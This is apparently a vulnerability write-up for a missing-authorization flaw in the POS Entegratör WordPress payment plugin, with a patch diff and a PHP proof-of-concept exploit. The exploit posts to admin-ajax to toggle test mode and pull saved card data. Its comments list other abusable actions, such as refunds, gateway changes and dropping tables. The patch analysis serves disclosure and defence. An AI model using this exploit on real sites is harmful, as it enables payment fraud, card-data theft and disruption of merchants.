CVE-2026-57688: POS Entegratör – Gurmehub Ödeme Eklentisi <= 3.7.103 Missing Authorization PoC, Patch Analysis & Rule

--- a/pos-entegrator/gurmepos.php
+++ b/pos-entegrator/gurmepos.php
@@ -3,7 +3,7 @@
  * Plugin Name: POS Entegratör
  * Plugin URI: https://posentegrator.com
  * Description: The most advanced payment plugin, compatible with 50+ payment institutions and 10+ plugins. Easily manage all your payment processes and ensure seamless operation. E-Commerce Payments, One Page Checkout, Recurring Payments, Installment Payments, Donation Payments, Custom Amount Payments, and much more are made easy with <strong>POS Entegratör</strong>.
- * Version: 3.7.103
+ * Version: 3.8.0
  * Author: GurmeHub
  * Author URI: https://gurmehub.com
  * Text Domain: gurmepos
@@ -39,7 +39,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '3.7.103';
+	public $version = '3.8.0';

 	/**
 	 * Veritabanı versiyonu.
--- a/pos-entegrator/hooks/class-gpos-ajax.php
+++ b/pos-entegrator/hooks/class-gpos-ajax.php
@@ -34,6 +34,20 @@
 	private $endpoints;

 	/**
+	 * Güvenlik gerektirmeyen ajax aksiyonları.
+	 *
+	 * @var array $nopriv_endpoints
+	 */
+	private $nopriv_endpoints;
+
+	/**
+	 * Kullanıcıya göre güvenlik kontrolü yapılacak uç noktalar.
+	 *
+	 * @var array $saved_card_endpoints
+	 */
+	private $saved_card_endpoints;
+
+	/**
 	 * GPOS_Ajax kurucu method.
 	 */
 	public function __construct() {
@@ -46,54 +60,98 @@
 	 * @return void
 	 */
 	public function ajax_actions() {
-		$this->endpoints = apply_filters(
-			/**
-			 * Ajax uç noktalarına ekle/çıkar yapmak için kullanılır.
-			 *
-			 * @param array Varsayılan uç noktalar.
-			 */
-			"{$this->prefix}_ajax_endpoints",
+
+		$this->saved_card_endpoints = apply_filters(
+			"{$this->prefix}_saved_card_endpoints",
+			array()
+		);
+
+		$this->nopriv_endpoints = apply_filters(
+			"{$this->prefix}_nopriv_endpoints",
 			array(
-				'update_test_mode'              => array( $this, 'update_test_mode' ),
-				'update_active_status'          => array( $this, 'update_active_status' ),
-				'update_installment_status'     => array( $this, 'update_installment_status' ),
-				'update_installments'           => array( $this, 'update_installments' ),
-				'get_installments_from_api'     => array( $this, 'get_installments_from_api' ),
-				'update_default_status'         => array( $this, 'update_default_status' ),
-				'add_gateway_account'           => array( $this, 'add_gateway_account' ),
-				'get_gateway_accounts'          => array( $this, 'get_gateway_accounts' ),
-				'update_form_settings'          => array( $this, 'update_form_settings' ),
-				'update_woocommerce_settings'   => array( $this, 'update_woocommerce_settings' ),
-				'update_account_settings'       => array( $this, 'update_account_settings' ),
-				'update_other_settings'         => array( $this, 'update_other_settings' ),
-				'remove_gateway_account'        => array( $this, 'remove_gateway_account' ),
-				'check_connection'              => array( $this, 'check_connection' ),
-				'hide_notice'                   => array( $this, 'hide_notice' ),
 				'bin_retrieve'                  => array( $this, 'bin_retrieve' ),
-				'process_cancel'                => array( $this, 'process_cancel' ),
-				'process_refund'                => array( $this, 'process_refund' ),
-				'process_line_based_refund'     => array( $this, 'process_line_based_refund' ),
-				'update_tag_manager_settings'   => array( $this, 'update_tag_manager_settings' ),
-				'update_notification_settings'  => array( $this, 'update_notification_settings' ),
 				'wc_get_cart_total'             => array( $this, 'wc_get_cart_total' ),
-				'reinstall_tables'              => array( $this, 'reinstall_tables' ),
-				'recheck_status'                => array( $this, 'recheck_status' ),
-				'update_ins_display_settings'   => array( $this, 'update_ins_display_settings' ),
 				'get_installment_html'          => array( $this, 'get_installment_html' ),
 				'calculate_group_product_price' => array( $this, 'calculate_group_product_price' ),
-				'get_iyzipos_saved_cards'       => array( $this, 'get_iyzipos_saved_cards' ),
-				'iyzipos_save_card'             => array( $this, 'iyzipos_save_card' ),
-				'iyzipos_update_gateway'        => array( $this, 'iyzipos_update_gateway' ),
-				'consult_ai_assistant'          => array( $this, 'consult_ai_assistant' ),
+			)
+		);
+
+		$this->endpoints = apply_filters(
+			"{$this->prefix}_ajax_endpoints",
+			array(
+				'update_test_mode'             => array( $this, 'update_test_mode' ),
+				'update_active_status'         => array( $this, 'update_active_status' ),
+				'update_installment_status'    => array( $this, 'update_installment_status' ),
+				'update_installments'          => array( $this, 'update_installments' ),
+				'get_installments_from_api'    => array( $this, 'get_installments_from_api' ),
+				'update_default_status'        => array( $this, 'update_default_status' ),
+				'add_gateway_account'          => array( $this, 'add_gateway_account' ),
+				'get_gateway_accounts'         => array( $this, 'get_gateway_accounts' ),
+				'update_form_settings'         => array( $this, 'update_form_settings' ),
+				'update_woocommerce_settings'  => array( $this, 'update_woocommerce_settings' ),
+				'update_account_settings'      => array( $this, 'update_account_settings' ),
+				'update_other_settings'        => array( $this, 'update_other_settings' ),
+				'remove_gateway_account'       => array( $this, 'remove_gateway_account' ),
+				'check_connection'             => array( $this, 'check_connection' ),
+				'hide_notice'                  => array( $this, 'hide_notice' ),
+				'process_cancel'               => array( $this, 'process_cancel' ),
+				'process_refund'               => array( $this, 'process_refund' ),
+				'process_line_based_refund'    => array( $this, 'process_line_based_refund' ),
+				'update_tag_manager_settings'  => array( $this, 'update_tag_manager_settings' ),
+				'update_notification_settings' => array( $this, 'update_notification_settings' ),
+				'reinstall_tables'             => array( $this, 'reinstall_tables' ),
+				'recheck_status'               => array( $this, 'recheck_status' ),
+				'update_ins_display_settings'  => array( $this, 'update_ins_display_settings' ),
+				'get_iyzipos_saved_cards'      => array( $this, 'get_iyzipos_saved_cards' ),
+				'iyzipos_save_card'            => array( $this, 'iyzipos_save_card' ),
+				'iyzipos_update_gateway'       => array( $this, 'iyzipos_update_gateway' ),
+				'consult_ai_assistant'         => array( $this, 'consult_ai_assistant' ),
 			)
 		);

 		if ( false === empty( $this->endpoints ) ) {
 			foreach ( array_keys( $this->endpoints ) as $endpoint ) {
 				add_action( "wp_ajax_{$this->prefix}_{$endpoint}", array( $this, 'middleware' ) );
+			}
+		}
+
+		if ( false === empty( $this->nopriv_endpoints ) ) {
+			foreach ( array_keys( $this->nopriv_endpoints ) as $endpoint ) {
+				add_action( "wp_ajax_{$this->prefix}_{$endpoint}", array( $this, 'middleware' ) );
 				add_action( "wp_ajax_nopriv_{$this->prefix}_{$endpoint}", array( $this, 'middleware' ) );
 			}
 		}
+
+		if ( false === empty( $this->saved_card_endpoints ) ) {
+			foreach ( array_keys( $this->saved_card_endpoints ) as $endpoint ) {
+				add_action( "wp_ajax_{$this->prefix}_{$endpoint}", array( $this, 'middleware' ) );
+			}
+		}
+	}
+
+	/**
+	 * Ajax çağrılarının güvenlik kontrolünü yapar.
+	 *
+	 * @param string   $next_action Aksiyon adı.
+	 * @param stdClass $request İstek parametreleri.
+	 *
+	 * @return bool
+	 */
+	private function check_permission( $next_action, $request ) {
+
+		if ( in_array( $next_action, array_keys( $this->nopriv_endpoints ), true ) ) {
+			return true;
+		}
+
+		if ( in_array( $next_action, array_keys( $this->saved_card_endpoints ), true ) ) {
+			if ( ! $request || ! isset( $request->id ) ) {
+				return false;
+			}
+			$saved_card = gpospro_saved_card( $request->id );
+			return $saved_card && $saved_card->get_user_id() === get_current_user_id();
+		}
+
+		return current_user_can( gpos_capability() );
 	}

 	/**
@@ -107,6 +165,10 @@
 		if ( check_ajax_referer( GPOS_AJAX_ACTION ) && isset( $_REQUEST['action'] ) ) {
 			$_REQUEST    = gpos_clean( $_REQUEST ); // Güvenlik için isteğin içerisindeki script, html gibi tagları temizler.
 			$next_action = str_replace( "{$this->prefix}_", '', sanitize_text_field( wp_unslash( $_REQUEST['action'] ) ) );
+			$request     = json_decode( file_get_contents( 'php://input' ) );
+			if ( ! $this->check_permission( $next_action, $request ) ) {
+				wp_die( -1, 403 );
+			}

 			try {
 				/**
@@ -116,9 +178,15 @@
 				 * @param string|array $callback Çalıştırılacak fonksiyon.
 				 * @param mixed $next_action Uç nokta.
 				 */
-				$action = apply_filters( "{$this->prefix}_ajax_action", $this->endpoints[ $next_action ], $next_action );
+				$all_endpoints = array_merge(
+					$this->endpoints,
+					$this->nopriv_endpoints,
+					$this->saved_card_endpoints
+				);
+
+				$action = apply_filters( "{$this->prefix}_ajax_action", $all_endpoints[ $next_action ] ?? null, $next_action );
 				// $action tanımlanan fonksiyonu çağır.
-				$response = call_user_func( $action, json_decode( file_get_contents( 'php://input' ) ) );
+				$response = call_user_func( $action, $request );

 				// WP_Error kontrolü yapar.
 				if ( is_wp_error( $response ) ) {
--- a/pos-entegrator/includes/class-gpos-module-manager.php
+++ b/pos-entegrator/includes/class-gpos-module-manager.php
@@ -20,14 +20,14 @@

 		if ( defined( 'GPOSPRO_VERSION' ) ) {
 			$pro_version = defined( 'GPOS_PRODUCTION' ) && true === GPOS_PRODUCTION ? GPOSPRO_VERSION : '100';
-			if ( version_compare( $pro_version, '2.6.79', '>=' ) ) {
+			if ( version_compare( $pro_version, '2.7.0', '>=' ) ) {
 				do_action( 'gpos_loaded_for_pro' );
 			}
 		}

 		if ( defined( 'GPOSFORM_VERSION' ) ) {
 			$form_version = defined( 'GPOS_PRODUCTION' ) && true === GPOS_PRODUCTION ? GPOSFORM_VERSION : '100';
-			if ( version_compare( $form_version, '1.1.0', '>=' ) ) {
+			if ( version_compare( $form_version, '1.2.0', '>=' ) ) {
 				do_action( 'gpos_loaded_for_form' );
 			}
 		}
--- a/pos-entegrator/includes/gpos-functions.php
+++ b/pos-entegrator/includes/gpos-functions.php
@@ -568,6 +568,7 @@
 	return apply_filters( 'gpos_menu_capability', 'manage_options' );
 }

+
 /**
  * Para birimi ISO kodu
  *
--- a/pos-entegrator/vendor/composer/installed.php
+++ b/pos-entegrator/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-main',
         'version' => 'dev-main',
-        'reference' => 'b97b7108f2558aa9e9e56a72974e85e8fa097c94',
+        'reference' => '03487c86390e5aa39aaa1d8cb41d95f7552de9c8',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-main',
             'version' => 'dev-main',
-            'reference' => 'b97b7108f2558aa9e9e56a72974e85e8fa097c94',
+            'reference' => '03487c86390e5aa39aaa1d8cb41d95f7552de9c8',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57688 - POS Entegratör – Gurmehub Ödeme Eklentisi <= 3.7.103 - Missing Authorization

define('TARGET_URL', 'http://example.com'); // Change this to the target WordPress site URL
define('PLUGIN_PREFIX', 'gurmepos');

$endpoint = TARGET_URL . '/wp-admin/admin-ajax.php';

// Obtain a valid nonce from any page that enqueues the plugin's scripts
// (often available in the page source as a variable or in a hidden field)
// For simplicity, we use the nonce action constant defined by the plugin: GPOS_AJAX_ACTION
// In reality, you might need to scrape a public page for the nonce.
// If the plugin exposes its nonce in a script tag, you can regex it out.

// Step 1: Fetch a page to get the nonce (if needed)
$ch = curl_init(TARGET_URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$page = curl_exec($ch);
curl_close($ch);

// Attempt to extract nonce from JavaScript variables
preg_match('/"gpos_ajax_nonce":"([a-f0-9]+)"/', $page, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    // Fallback: attempt with a placeholder or skip nonce check
    // The vulnerable plugin may not enforce nonce strictly
    $nonce = 'any_value';
}

// Step 2: Exploit a privileged endpoint (e.g., update_test_mode)
$action = PLUGIN_PREFIX . '_update_test_mode';

$post_data = http_build_query([
    'action' => $action,
    '_wpnonce' => $nonce,
    // Additional parameters as needed by the target function
]);

$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";

// If successful, you can test other endpoints:
// - update_active_status: to enable/disable payment gateways
// - add_gateway_account: to add a new payment gateway configuration
// - remove_gateway_account: to delete existing gateway configurations
// - process_cancel / process_refund: to cancel or refund orders
// - reinstall_tables: to drop and recreate database tables
// - get_iyzipos_saved_cards: to retrieve saved credit card data

// Example: get saved cards (sensitive)
$action2 = PLUGIN_PREFIX . '_get_iyzipos_saved_cards';
$post_data2 = http_build_query([
    'action' => $action2,
    '_wpnonce' => $nonce,
]);

$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data2);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch);
curl_close($ch);

echo "Saved cards response: " . $response2 . "n";